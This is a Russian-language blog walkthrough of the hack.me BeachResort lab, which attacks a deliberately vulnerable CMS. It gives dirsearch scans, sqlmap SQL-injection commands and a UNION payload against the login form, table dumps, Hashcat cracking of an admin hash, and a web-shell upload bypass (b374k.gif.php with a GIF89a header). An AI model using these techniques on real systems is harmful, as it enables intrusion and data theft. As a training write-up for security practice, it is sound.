Технологии безопасности

Сайт посвященный вопросам безопасности

Hack.me: Ещё одна площадка для оттачивания навыков в области ИБ

Всем доброго времени суток, сегодня не будет VulnHub’a. Сегодня рассмотрим его альтернативу hack.me. На котором содержится не мало интересных площадок для взлома, на различные темы. В этой статье рассмотрим BeachResort. Как пишет автор, это не типичный CTF, тут вместо флагов, нас просят проверить CMS сайта на безопасность, а заодно узнать следующее:

Имя администратора сайта
Название БД
Список таблиц
Список всех файлов в корневой директории CMS
Лицензионный ключ
Содержимое очень секретного файла

Приступим

После старта, нам становится доступна временная ссылка на уязвимый сайт. Побродив по сайту, ничего интересного на нём не находим, поэтому перейдём к сканированию скрытых директорий:

$ sudo dirsearch -u ‘http://s60229-102657-xpo.croto.hack.me’ -e php,txt,html -w /usr/share/dirb/wordlists/big.txt -x 503,403 —random-agent

Сканируем дальше:

$ sudo dirsearch -u ‘http://s60229-102657-xpo.croto.hack.me/cmsadm’ -e php,txt,html -w /usr/share/dirb/wordlists/big.txt -x 503,403 —random-agent

Как и ожидалось, тут есть форма авторизации:

И так как от нас требуется узнать информацию о БД и её содержимом, то вероятно мы имеем дело с SQL injection. Осталось её найти:

$ sudo sqlmap -u ‘http://s60229-102657-xpo.croto.hack.me/cmsadm/login.php’ —data=’user=admin&pass=admin’ -p user —dbms=MySQL —random-agent —batch —dbs

Sqlmap успешно справился с поставленной задачей, выдал название базы данных: supercms и вот такой Payload:

Payload: user=admin’ UNION ALL SELECT CONCAT(0x7176707a71,0x6964745475644f6f614968737948504a5a484b496a4f476355556b4172726d4f56766d6d53755276,0x71766a6b71)— OFdY&pass=admin

Переходим к списку таблиц:

$ sudo sqlmap -u ‘http://s60229-102657-xpo.croto.hack.me/cmsadm/login.php’ —data=’user=admin&pass=admin’ -p user —dbms=MySQL —random-agent —batch -D supercms —tables

Таблица groups нам не интересна, в задании что-то говорилось про лицензионный ключ. Посмотрим соответствующую таблицу:

$ sudo sqlmap -u ‘http://s60229-102657-xpo.croto.hack.me/cmsadm/login.php’ —data=’user=admin&pass=admin’ -p user —dbms=MySQL —random-agent —batch -D supercms -T license —dump

Ещё 1 пункт завершён, осталось взглянуть на список пользователей, заодно, вероятно там должно быть имя администратора CMS:

$ sudo sqlmap -u ‘http://s60229-102657-xpo.croto.hack.me/cmsadm/login.php’ —data=’user=admin&pass=admin’ -p user —dbms=MySQL —random-agent —batch -D supercms -T operators —dump

Админ найден, и даже большую часть паролей sqlmap за нас расшифровал, чтобы найти последний, воспользуемся Hashcat’ом:

$ sudo /opt/cudaHashcat/cudaHashcat32.bin -m 0 hashes /media/DATA/passwords/hashkiller-dict.txt

И через несколько секунд получаем требуемый пароль:
2bfea2ff114ccd30d95e176a1d25346a:!superadmin!

Пробуем авторизоваться, и попадаем вот на такую страницу:

В целом ничего интересного, кроме страницы с возможностью загрузить изображение:

Попробовав загрузить простенький шелл, получаем ошибку:

Ок, зальём туда b374k, предварительно обработав запрос плагином Tamper Data для Firefox. Всё что нужно, это заменить название файла в перехваченном запросе на b374k.gif.php, и добавив в начало файла сигнатуру GIF89а:

Отправляем запрос, получаем сообщение об успешной загрузке. Предположив, что по логике наша «шелл-картинка» должна загрузиться в директорию images, пробуем открыть только что загруженный файл:

Приступим к выполнению последних заданий, а именно получим список файлов и директорий:

Тут же находим файл secret.noop, который является последним звеном:

Все задания выполнены, можно смело отправлять ответы автору, для подтверждения прохождения.